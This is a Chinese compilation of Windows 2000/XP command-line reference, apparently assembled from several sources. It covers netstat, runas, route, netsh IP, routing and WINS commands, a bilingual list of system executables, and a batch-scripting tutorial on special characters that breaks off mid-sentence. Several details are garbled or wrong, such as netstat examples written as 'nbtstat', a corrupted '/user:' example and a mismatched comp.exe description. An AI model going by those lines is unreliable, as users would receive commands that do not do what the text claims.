Foreign Address 连接该插槽的远程计算机的 IP 地址和端口号码。如果不指定 -n 参数,就显示与 IP 地址和端口对应的名称。如果端口尚未建立,端口以星号
(*)显示。
(state) 表明 TCP 连接的状态。可能的状态如下:
CLOSE_WAIT
CLOSED
ESTABLISHED
FIN_WAIT_1
FIN_WAIT_2
LAST_ACK
LISTEN
SYN_RECEIVED
SYN_SEND
TIMED_WAIT
有关 TCP 连接状态的信息,请参阅 RFC 793。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 范例 要想显示以太网统计信息和所有协议的统计信息,请键入下列命令:
netstat -e -s
要想仅显示 TCP 和 UDP 协议的统计信息,请键入下列命令:
netstat -s -p tcp udp
要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID,请键入下列命令:
nbtstat -o 5
要想以数字形式显示活动的 TCP 连接和进程 ID,请键入下列命令:
nbtstat -n –o
Runas 允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限。
语法 runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program
参数 /profile 加载用户的配置文件。/profile 是默认值。 /no profile /noprofile 指定不加载用户的配置文件。这使应用程序载入的更加快速,但是在一些应用程序中也会引起错误。 /env 指定当前使用的网络环境,而不是用户的本地环境。 /netonly 指明指定的用户信息只用于远程访问。 /smartcard /smartcard 表示凭据是否是由智能卡提供的。 /showtrustlevels 列出 /trustlevel 开关项。 /trustlevel 指定应用程序运行所在的授权级别。使用 /showtrustlevels 查看可用的信任级别。 /user:UserAccountName 指定在其下运行程序的用户帐户的名称。用户帐户的格式应是 user@domain 或 domain\user。 程序 指定要用在 /user 中指定的帐户运行的程序或命令。 /? 在命令提示符显示帮助。 注释 管理员可以使用一个权限受限制的帐户执行日常、非管理性的任务,只有在执行特定管理任务时,才使用一个权限更大的帐户。要不经过注销再
重新登录就完成这样的任务,可以用一般帐户登录,然后使用 runas 命令来运行需要更大权限的工具。 有关 runas 命令的使用范例,请参阅“相关主题”。 尽管 runas 通常由 Administrator 帐户使用,但并非仅限于 Administrator 帐户。任何拥有多个帐户的用户均可以利用备用凭据,使用
runas 运行程序、MMC 控制台或“控制面板”项。 如果要在计算机上使用 Administrator 帐户,对于 /user:,键入下列参数之一: /user:AdministratorAccountName@ComputerName
/user:ComputerName\AdministratorAccountName
如果想以域管理员身份使用这个命令,键入下列参数之一: /user:AdministratorAccountName@DomainName
/useromainName\AdministratorAccountName
runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组(例
如“Users”或“Power Users”组)的成员登录到计算机时,可以以管理员的身份运行。 可以使用 runas 命令来启动任何程序、MMC 控制器或“控制面板”项。只要提供适当的用户帐户和密码信息,用户帐户就具有登录到计算机的能
力,并且程序、MMC 控制台、“控制面板”项在系统中及对该用户帐户均可用. runas 命令允许您管理其他域的服务器(运行工具的计算机和要管理的服务器在不同的域中)。 如果尝试使用 runas 从网络位置启动程序、MMC 控制台或“控制面板”项,可能会因为用来连接网络共享的凭据与用来启动程序的凭据不同而失
败。后者的凭据可能无法访问同一网络共享。 有些项,例如“打印机”文件夹和桌面项,间接由 Windows 2000 打开,而不能使用 runas 命令启动。 如果 runas 命令失败,则可能是没有运行 RunAs 服务或使用的用户帐户无效。要检查 RunAs 服务的状态,请在“计算机管理”中单击“服务和
应用程序”,然后单击“服务”。要测试用户帐户,请尝试使用该帐户登录合适的域。 范例 要在本地计算机上以管理员身份启动 Windows 2000 命令提示行实例,请键入:
runas /user:localmachinename\administrator cmd 系统提示时,键入管理员密码。
要使用名为 companydomain\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例,请键入:
runas /user:companydomain\domainadmin "mmc %windir%\system32\compmgmt.msc" 当提示时,键入帐户密码。
要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例,请键入:
runas /user:user@domain.microsoft.com "notepad my_file.txt" 当提示时,键入帐户密码。
要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例,请键入:
runas /netonly /user:domain\username "command" domain\username 必须是有足够权限管理服务器的用户。当提示时,键入帐户密码。 Route 在本地 IP 路由表中显示和修改条目。使用不带参数的 route 可以显示帮助。
语法 route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface]]
参数 -f 清除所有不是主路由(网掩码为 255.255.255.255 的路由)、环回网络路由(目标为 127.0.0.0,网掩码为 255.255.255.0 的路由)或多播路
由(目标为 224.0.0.0,网掩码为 240.0.0.0 的路由)的条目的路由表。如果它与命令之一(例如 add、change 或 delete)结合使用,表会在
运行命令之前清除。 -p 与 add 命令共同使用时,指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下,启动 TCP/IP 协议时不会保
存添加的路由。与 print 命令一起使用时,则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。 Command 指定要运行的命令。下表列出了有效的命令。 命令 目的 add 添加路由 change 更改现存路由 delete 删除路由 print 打印路由
Destination 指定路由的网络目标地址。目标地址可以是一个 IP 网络地址(其中网络地址的主机地址位设置为 0),对于主机路由是 IP 地址,对于默认路
由是 0.0.0.0。 mask subnetmask 指定与网络目标地址相关联的网掩码(又称之为子网掩码)。子网掩码对于 IP 网络地址可以是一适当的子网掩码,对于主机路由是
255.255.255.255 ,对于默认路由是 0.0.0.0。如果忽略,则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关
系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是 0,则目标地址中的对应位就不能设置为 1。 Gateway 指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由,网关地址是分配给连接子网
接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。 metric Metric 为路由指定所需跃点数的整数值(范围是 1 ~ 9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由
具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。 if Interface 指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制
的值。对于十六进制值,要在十六进制数的前面加上 0x。忽略 if 参数时,接口由网关地址确定。 /? 在命令提示符显示帮助。 注释 路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN 接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数
造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点
数。要删除大跃点数,请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。 如果在 systemroot\System32\Drivers\Etc 文件夹的本地网络文件中存在适当的条目,名称可以用于 Destination。只要名称可以通过“域名系
统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址,就可以将其用于 Gateway,DNS 查询使用存储在 systemroot\System32\Drivers
\Etc 文件夹下的本地主机文件和 NetBIOS 名称解析。 如果是 print 或 delete 命令,可以忽略 Gateway 参数,使用通配符来表示目标和网关。Destination 的值可以是由星号 (*) 指定的通配符。
如果指定目标含有一个星号 (*) 或问号 (?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字
符。例如, 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。 使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1,
而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码
包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分(由子网掩码
所定义)是否有些位设置成了 1。 只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98
的 route 命令不支持该参数。 只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。 范例 要显示 IP 路由表的完整内容,请键入:
route print
要显示 IP 路由表中以 10. 开始的路由,请键入:
route print 10.*
要添加默认网关地址为 192.168.12.1 的默认路由,请键入:
route add 0.0.0.0 mask 0.0.0.0 192.168.12.1
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的路由,请键入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的永久路由,请键入:
route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,跃点数为 7 的路由,请键入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7
要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,接口索引为 0x3 的路由,请键入:
route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3
要删除目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由,请键入:
route delete 10.41.0.0 mask 255.255.0.0
要删除 IP 路由表中以 10. 开始的所有路由,请键入:
route delete 10.*
要将目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25,请键入:
route change 10.41.0.0 mask 255.255.0.0 10.27.0.25
怎样在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server 在命令行下更改ip地址
Windows2000是现在比较流行的操作系统,它的功能是很强大的,它甚至可以象Unix一样在命令行下做很多的工作。下面一种在命令行下更改ip地
址的方法,现介绍给大家(括号里是一些注释,黑体字是人工录入的):
C:\>ipconfig (首先用ipconfig这个命令看一下更改之前的ip地址)
Windows 2000 IP Configuration
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.1.1.94 (本地连接更改之前的ip)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.1.1.254
C:\>netsh (进入设置模式)
netsh>interface
interface>ip
interface ip>set address "本地连接" static 10.1.1.111 255.255.255.0 10.1.1.254
interface ip>exit
上文中的set命令具体解释如下:
set address - 设置指定的接口的 IP 地址和默认网关。
set dns - 设置 DNS 服务器模式和地址。
set wins - 设置 WINS 服务器模式和地址。
C:\>ipconfig (更改后再用ipconfig命令看一下,确认一下是否更改成功)
Windows 2000 IP Configuration
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.1.1.111
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.1.1.254 命令一览 .. - 移到上一层上下文级。 ? - 显示命令列表。 aaaa - 更改到 `aaaa' 上下文。 abort - 丢弃在脱机模式下所做的更改。 add - 将一个配置项添加到项目列表中。 alias - 添加一个别名 bye - 退出程序。 commit - 提交在脱机模式中所做的更改。 delete - 在项目列表上删除一个配置项目。 dhcp - 更改到 `dhcp' 上下文。 dump - 显示一个配置脚本。 exec - 运行一个脚本文件。 exit - 退出程序。 help - 显示命令列表。 interface - 更改到 `interface' 上下文。 offline - 将当前模式设置成脱机。 online - 将当前模式设置成联机。 popd - 从堆栈上打开一个上下文。 pushd - 将当前上下文放推入堆栈。 quit - 退出程序。 ras - 更改到 `ras' 上下文。 routing - 更改到 `routing' 上下文。 set - 更新配置设置。 show - 显示信息 unalias - 删除一个别名。 wins - 更改到 `wins' 上下文。 route 的命令 routing ip add/delete/set/show interface 在指定接口上添加、删除、配置或显示常规 IP 路由设置。 routing ip add/delete/set/show filter 在指定接口上添加、删除、配置或显示 IP 数据包筛选器。 routing ip add/delete/show boundary 在指定接口上添加、删除或显示多播边界设置。 routing ip add/set ipiptunnel 添加或配置 IP 中的 IP 接口。 routing ip add/delete/set/show rtmroute 添加、配置或显示不持续的路由表管理器路由。 routing ip add/delete/set/show persistentroute 添加、删除、配置或显示持续路由。 routing ip add/delete/set/show preferenceforprotocol 添加、删除、配置或显示路由协议的优先级。 routing ip add/delete/set/show scope 添加、删除或显示多播作用域。 routing ip set/show loglevel 配置或显示全局 IP 记录等级。 routing ip show helper 显示 IP 的所有 Netsh 实用程序子环境。 routing ip show protocol 显示所有正在运行的 IP 路由协议。 routing ip show mfe 显示多播转发项。 routing ip show mfestats 显示多播转发项统计。 routing ip show boundarystats 显示 IP 多播边界。 routing ip show rtmdestinations 显示路由表管理器路由表中的目标。 routing ip show rtmroutes 显示路由表管理器路由表中的路由。 routing ip nat set/show global 配置或显示全局网络地址转换 (NAT) 设置。 routing ip nat add/delete/set/show interface 添加、删除、配置或显示指定接口的 NAT 设置。 routing ip nat add/delete addressrange 在 NAT 接口公用地址池中添加或删除一个地址范围。 routing ip nat add/delete addressmapping 添加或删除 NAT 地址映射。 routing ip nat add/delete portmapping 添加或删除 NAT 端口映射。 routing ip autodhcp set/show global 配置或显示全局 DHCP 分配器参数。 routing ip autodhcp set/show interface 配置或显示指定接口的 DHCP 分配器设置。 routing ip autodhcp add/delete exclusion 在 DHCP 分配器地址范围中添加或删除一个排除范围。 routing ip dnsproxy set/show global 配置或显示全局 DNS 代理参数。 routing ip dnsproxy set/show interface 配置或显示指定接口的 DNS 代理参数。 routing ip igmp set/show global 配置或显示 IGMP 全局设置。 routing ip igmp add/delete/set/show interface 在指定接口上添加、删除、配置或显示 IGMP。 routing ip igmp add/delete staticgroup 添加或删除指定接口的静态多播组。 routing ip igmp show grouptable 显示 IGMP 主机组表。 routing ip igmp show ifstats 显示每个接口的 IGMP 统计。 routing ip igmp show iftable 显示每个接口的 IGMP 主机组。 routing ip igmp show proxygrouptable 显示 IGMP 代理接口的 IGMP 组表。 routing ip igmp show rasgrouptable 显示远程访问服务器所使用的 Internet 接口的组表。 routing ip ospf set/show global 配置或显示全局 OSPF 设置。 routing ip ospf add/delete/set/show interface 在指定接口上添加、删除、配置或显示 OSPF。 routing ip ospf add/delete/set/show area 添加、删除、配置或显示 OSPF 区域。 routing ip ospf add/delete/show range 在指定的 OSPF 区域上添加、删除、配置或显示范围。 routing ip ospf add/delete/set/show virtif 添加、删除、配置或显示 OSPF 虚拟接口。 routing ip ospf add/delete/show neighbor 添加、删除、配置或显示 OSPF 邻居。 routing ip ospf add/delete/show protofilter 添加、删除、配置或显示 OSPF 外部路由的路由信息源。 routing ip ospf add/delete/show routefilter 添加、删除、配置或显示 OSPF 外部路由的路由筛选。 routing ip ospf show areastats 显示 OSPF 区域统计。 routing ip ospf show lsdb 显示 OSPF 链接状态数据库。 routing ip ospf show virtifstats 显示 OSPF 虚拟链接统计。 routing ip relay set global 配置“DHCP 中继代理程序”的全局设置。 routing ip relay add/delete/set interface 在指定接口上添加、删除或配置“DHCP 中继代理程序”设置。 routing ip relay add/delete dhcpserver 在 DHCP 服务器地址列表中添加或删除 DHCP 服务器的 IP 地址。 routing ip relay show ifbinding 显示接口的 IP 地址绑定。 routing ip relay show ifconfig 显示每个接口的“DHCP 中继代理程序”配置。 routing ip relay show ifstats 显示每个接口的 DHCP 统计。 routing ip rip set/show global 配置 IP 的 RIP 全局设置。 routing ip rip add/delete/set/show interface 在指定接口上添加或配置 IP 的 RIP 设置。 routing ip rip add/delete peerfilter 添加或删除 RIP 对等筛选器。 routing ip rip add/delete acceptfilter 在接受的路由列表中添加或删除 RIP 路由筛选器。 routing ip rip add/delete announcefilter 在公布的路由列表中添加或删除 RIP 路由筛选器。 routing ip rip add/delete/show neighbor 添加或删除 RIP 邻居。 routing ip rip set/show flags 在指定接口上配置 IP RIP 高级设置。 routing ip rip show globalstats 显示全局 RIP 参数。 routing ip rip show ifbinding 显示接口的 IP 地址绑定。 routing ip rip show ifstats 显示每个接口的 RIP 统计。 IPX netsh 路由命令 routing ipx add/set staticroute 在 IPX 路由表中添加或配置静态 IPX 路由。 routing ipx add/set staticservice 在 SAP 服务表中添加或配置静态 SAP 服务。 routing ipx add/set filter 在指定的接口上添加或配置 IPX 数据包筛选器。 routing ipx add/set interface 在请求拨号接口上启用 IPX 路由,或在指定的接口上配置 IPX 设置。 routing ipx set global 配置全局 IPX 路由设置。 routing ipx rip add/set filter 添加和配置 RIP 路由筛选器。 routing ipx rip set global 配置全局 IPX 的 RIP 设置。 routing ipx rip set interface 在指定接口上配置 IPX 的 RIP 设置。 routing ipx sap add/set filter 添加或配置 SAP 服务筛选器。 routing ipx sap set global 配置全局 IPX 的 SAP 设置。 routing ipx sap set interface 在指定接口上配置 IPX 的 SAP 设置。 routing ipx netbios add nbname 将静态 NETBIOS 名称添加到 IPX NetBIOS 名称表中。 routing ipx netbios set interface 在指定接口上配置基于 IPX 的 NetBIOS 设置。 WINS NetSh 命令 list 列出所有可用的 WINS 命令。 dump 将 WINS 服务器配置转储到命令输出。 add name 在服务器上注册名称。详细信息,请输入 add name /? add partner 向服务器添加复制伙伴。详细信息,请输入 add partner /? add pngserver 添加当前服务器的 Persona Non Grata 服务器列表。详细信息,请输入 add pngserver /? check database 检查数据库的一致性。详细信息,请输入 check database /? check name 检查一组 WINS 服务器的名称记录列表。详细信息,请输入 check name /? check version 检查版本号的一致性。详细信息,请输入 check version /? delete name 从服务器数据库中删除已注册的名称。详细信息,请输入 delete name /? delete partner 从复制伙伴列表中删除复制伙伴。详细信息,请输入 delete partner /? delete records 从服务器删除或逻辑删除所有记录或一组记录。详细信息,请输入 delete records /? delete owners 删除所有者列表及其记录。详细信息,请输入 delete owners /? delete pngserver 从列表中删除所有的或选定的 Persona Non Grata 服务器。详细信息,请输入 delete pngserver /? init backup 备份 WINS 数据库。详细信息,请输入 init backup /? init import 从 Lmhosts 文件导入数据。详细信息,请输入 init import /? init pull 启动“拉”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init pull /? init pullrange 开始另一台 WINS 服务器的一组记录,并读取该记录。详细信息,请输入 init pullrange /? init push 启动“推”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init push /? init replicate 用复制伙伴复制数据库。详细信息,请输入 init replicate /? init restore 从文件还原数据库。详细信息,请输入 init restore /? init scavenge 清除服务器的 WINS 数据库。详细信息,请输入 init scavenge /? init search 搜索服务器的 WINS 数据库。详细信息,请输入 init search /? reset statistics 重置服务器的统计信息。详细信息,请输入 reset statistics /? set autopartnerconfig 设置服务器的自动复制伙伴配置信息。详细信息,请输入 set autopartnerconfig /? set backuppath 设置服务器的备份参数。详细信息,请输入 set backuppath /? set burstparam 设置服务器的突发处理参数。详细信息,请输入 set autopartnerconfig /? set logparam 设置数据库和事件日志记录选项。详细信息,请输入 set logparam /? set migrateflag 设置服务器的迁移标志。详细信息,请输入 set migrateflag /? set namerecord 设置服务器的间隔和超时值。详细信息,请输入 set namerecord /? set periodicdbchecking 设置服务器的定期数据库检查参数。详细信息,请输入 set periodicdbchecking /? set pullpartnerconfig 设置指定的“拉”伙伴的配置参数。详细信息,请输入 set pullpartnerconfig /? set pushpartnerconfig 设置指定的“推”伙伴的配置参数。详细信息,请输入 set pushpartnerconfig /? set pullparam 设置服务器的默认“拉”参数。详细信息,请输入 set pullparam /? set pushparam 设置服务器的默认“推”参数。详细信息,请输入 set pushparam /? set replicateflag 设置服务器的复制标志。详细信息,请输入 set replicateflag /? set startversion 设置数据库的开始版本 ID。详细信息,请输入 set startversion /? show browser 显示所有活动域主浏览器的 [1Bh] 记录。详细信息,请输入 show browser /? show database 显示指定服务器的数据库和记录。详细信息,请输入 show database /? show info 显示配置信息。详细信息,请输入 show info /? show name 显示服务器中特定记录的详细信息。详细信息,请输入 show name /? show partner 显示服务器的“拉”或“推”(或“推拉”)伙伴。详细信息,请输入 show partner /? show partnerproperties 显示默认伙伴配置。详细信息,请输入 show partnerproperties /? show pullpartnerconfig 显示“拉”伙伴的配置信息。详细信息,请输入 show pullpartnerconfig /? show pushpartnerconfig 显示“推”伙伴的配置信息。详细信息,请输入 show pushpartnerconfig /? show reccount 显示指定服务器所拥有的记录数量。详细信息,请输入 show reccount /? show recbyversion 显示指定服务器所拥有的记录。详细信息,请输入 show recbyversion /? show server 显示当前选定的服务器。详细信息,请输入 show server /? show statistics 显示 WINS 服务器的统计信息。详细信息,请输入 show statistics /? show version 显示 WINS 服务器的当前版本计数器值。详细信息,请输入 show version /? show versionmap 显示所有者 ID 到“最大版本数”的映射。详细信息,请输入 show versionmap /? Interface 命令 interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。 interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。
Win2000命令全集 accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导
acsetups.exe > ACS setup DCOM server executable
actmovie.exe > Direct Show setup tool 直接显示安装工具
append.exe > Allows programs to open data in specified directories as if they were in the current directory.
允许程序打开制定目录中的数据
arp.exe > NETWORK Display and modify IP - Hardware addresses 显示和更改计算机的IP与硬件物理地址的对应列表
at.exe > AT is a scheduling utility also included with UNIX 计划运行任务
atmadm.exe > Displays statistics for ATM call manager. ATM调用管理器统计
attrib.exe > Display and modify attributes for files and folders 显示和更改文件和文件夹属性
autochk.exe > Used to check and repair Windows File Systems 检测修复文件系统
autoconv.exe > Automates the file system conversion during reboots 在启动过程中自动转化系统
autofmt.exe > Automates the file format process during reboots 在启动过程中格式化进程
autolfn.exe > Used for formatting long file names 使用长文件名格式
bootok.exe > Boot acceptance application for registry
bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful.
Bootvrfy.exe can be run on a local or remote computer. 通报启动成功 cacls.exe > Displays or modifies access control lists (ACLs) of files. 显示和编辑ACL
calc.exe > Windows Calculators 计算器
cdplayer.exe > Windows CD Player CD播放器
change.exe > Change { User | Port | Logon } 与终端服务器相关的查询
charmap.exe > Character Map 字符映射表
chglogon.exe > Same as using "Change Logon" 启动或停用会话记录
chgport.exe > Same as using "Change Port" 改变端口(终端服务)
chgusr.exe > Same as using "Change User" 改变用户(终端服务)
chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter 磁盘检测程序
chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盘检测程序
cidaemon.exe > Component of Ci Filer Service 组成Ci文档服务
cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions. 在NTFS上显示或改变加密的文件或目录
cisvc.exe > Content Index -- It's the content indexing service for I 索引内容
ckcnv.exe > Cookie Convertor 变换Cookie
cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盘清理
cliconfg.exe > SQL Server Client Network Utility SQL客户网络工具
clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards 剪贴簿查看器
clipsrv.exe > Start the clipboard Server 运行Clipboard服务
clspack.exe > CLSPACK used to create a file listing of system packages 建立系统文件列表清单
cluster.exe > Display a cluster in a domain 显示域的集群
_cmd_.exe > Famous command prompt 没什么好说的!
cmdl32.exe > Connection Manager Auto-Download 自动下载连接管理
cmmgr32.exe > Connection Manager 连接管理器
cmmon32.exe > Connection Manager Monitor 连接管理器监视
cmstp.exe > Connection Manager Profile Manager 连接管理器配置文件安装程序
comclust.exe > about cluster server 集群
comp.exe > ComClust Add, Remove, or Join a cluster. 比较两个文件和文件集的内容*
compact.exe > Displays or alters the compression of files on NTFS partitions. 显示或改变NTFS分区上文件的压缩状态
conime.exe > Console IME IME控制台
control.exe > Starts the control panel 控制面板
convert.exe > Convert File System to NTFS 转换文件系统到NTFS
convlog.exe > Converts MS IIS log files 转换IIS日志文件格式到NCSA格式
cprofile.exe > Copy profiles 转换显示模式
c***.exe > MS Windows ***s Host Version 5.1 较本宿主版本
csrss.exe > Client Server Runtime Process 客户服务器Runtime进程
csvde.exe > Comma Separated Variable Import/Export Utility 日至格式转换程序
dbgtrace.exe > 和Terminal Server相关
dcomcnfg.exe > Display the current DCOM configuration. DCOM配置属性
dcphelp.exe > ?
dcpromo.exe > Promote a domain controller to ADSI AD安装向导
ddeshare.exe > Display DDE shares on local or remote computer DDE共享
ddmprxy.exe >
debug.exe > Runs Debug, a program testing and editing tool. 就是DEBUG啦!
dfrgfat.exe > Defrag FAT file system FAT分区磁盘碎片整理程序
dfrgntfs.exe > Defrag NTFS file system NTFS分区磁盘碎片整理程序
dfs_cmd_.exe > configures a Dfs tree 配置一个DFS树
dfsinit.exe > Distributed File System Initialization 分布式文件系统初始化
dfssvc.exe > Distributed File System Server
以上你全学会的话,我不敢说你一定成为了高手,但我保证你不再是菜鸟!
1、@ 一般在它之后紧跟一条命令或一条语句,则此命令或语句本身在执行的时候不会显示在屏幕上。请把下面的代码保存为test.cmd文件,然后运行,比较一下两条echo语句在屏幕上的输出差异: echo a @pause @echo b @pause 执行结果如下: C:\Documents and Settings\JM\桌面>echo a a 请按任意键继续...
请按任意键继续... 2、%、%% 百分号用在不同的场合,有不同的含义: ① 当百分号成对出现,并且其间包含非特殊字符时,一般做变量引用处理,比如:%var%、%str%。把以下代码保存为批处理文件,运行后观察屏幕显示结果: @echo off set str=abc echo 变量 str 的值是: %str% pause 在屏幕上将显示这样的结果: 变量 str 的值是: abc 按任意键继续... 另外,百分号作为变量引用还有一种特殊形式,那就是对形式参数的引用,此时,单个百分号后面紧跟0~9这10个数字,如%0、%1,其中,%0为脚本本身的名称,%1至%9为第二至九个参数...最多支持%0~%9,%10以后就是变量引用了,即%15为%1的值接上5。 请看演示代码: @echo off if defined str goto next set str= set /p str=请把文件拉到本窗口后回车: call "%~0" %str% pause exit :next cls echo 本批处理文件完整路径为:"%~0" echo 拖到本窗口的文件完整路径为:"%~1" goto :eof ② 出现在 set /a 语句中时,表示两数相除取余数,也就是所谓的模运算,它在命令行窗口和批处理文件中的写法略有差异:在命令行窗口中,只需要单个的%,在批处理文件中,需要连续两个百分号,写成%%。 例如:在命令行窗口中,运行 set /a num=4%2 ,则结果将显示0,因为4除以2的余数为0;如果保存为批处理文件,则此语句将略有改变: @echo off set /a num=4%%2 echo 4除以2的余数为 %num% pause ③ 转义符号:如果要显示%本身时,需要在前面用%来转义。例如: @echo off echo 一个百分号:%% echo 两个百分号:%%%% echo 三个百分号:%%%%%% pause 3、:、:: ① 以:打头的单个的:表示该行是一个标签,它之后的内容是一个标签段,如:test,则表示:test之下的内容是标签段,而test是这个标签段的名,可以用 goto test 、goto :test 跳转到该标签段或用 call :test 调用该子过程;而连续两个冒号打头表示该行内容为注释内容,实际上,:: 是个无效的标签名,:加上空格同样可以起到注释的作用,此时,::的功能和注释命令rem相同;但是,rem 注释语句中的某些命令符号如重定向符号和管道符号还是会执行,而如果用::来注释的时候,与::同处一行的所有命令或符号直接被命令解释器忽略掉,无形中提高了注释的兼容性和整个程序的执行效率,并且在众多的命令语句中更显得醒目,所以,注释语句推荐使用::的格式。 ② 在 set 语句中:和~同时使用时,: 起到截取字符串的功能。假设 set str=abcde,那么,set var=%str:~0,1% 表示截取字符串abcde的第一个字符;和=同时使用时,起到替换字符串的功能。假设:set str=abc:de,那么,set var=%str:a=1% 则表示把字符串abc:de中的a替换为1,set var=%str::=2% 则表示把字符串abc:de中的:替换为2; 4、~ ① 用在 set 语句中,和:同时使用时,起到截取字符串的功能,请参考上一条的解释; ② 用在 set /a 语句中时,它是一元运算符号,表示将操作数字按位取反,例如,set /a num=~1的执行结果是-2,set /a num=~0的结果是-1 ③ 用在for语句中,表示增强for的功能,能够提取到更多的信息。例如:在批处理文件的for语句中:%%~i表示去掉第一对外侧引号,%%~zi表示获取文件的大小(以字节为单位),%%~ni表示获取文件名,%%~xi表示获取扩展名(带点号)……它们可以组合使用,如%%~nxi表示获取文件名和后缀名。 5、>、>> 一般而言,>表示用新内容覆盖原文件内容,>>表示向原文件追加内容,此时,它们以重定向符号的身份出现;如果用在 set /a 语句中,则>表示分组,>>表示逻辑移位; 6、| 一般而言,它以管道符号的身份出现,表示把在它之前的命令或语句的执行结果作为在它之后的命令或语句的处理对象,简而言之,就是把它之前的输出作为它之后的输入,例如:echo abcd|findstr "b",表示把echo abcd的执行结果,作为findstr "b" 的执行对象,也就是在字符串abcd中查找b字符;如果test.txt中有abcd字符串,则该语句与 findstr "b" test.txt 具有同样的效果; 7、^ 一般而言,^以转义字符的身份出现。因为在 cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功能,如果需要把它们作为字符输出的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需要对这些特殊字符做转义处理:在每个特殊字符前加上转义字符^,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理; 8、& 一般而言,&表示两条命令或语句同时执行的意思。如 echo a&echo b,将在屏幕上同时显示a和b字符。当几条语句含义近似或作用相同且没有先后的顺序之别时,启用&符号连接这些语句将会增加程序的可读性; 9、&&、|| 这是一对含义截然相反的命令符,&&表示如果它之前的语句成功执行,将执行它之后的语句,而||则表示如果它之前的语句执行失败,将执行它之后的语句;在某些场合,它们能替代 if……else…… 语句;例如: @echo off md test&&echo 成功创建文件夹test||echo 创建文件夹test失败 pause 效果等同于如下代码: @echo off md test if "%errorlevel%"=="0" (echo 成功创建文件夹test) else echo 创建文件夹test失败 pause 10、() 小括号对经常出现在for语句和if语句中,还有一些特定场合;在for和if语句中属于语句格式的要求,例如: ① for %%i in (语句1) do 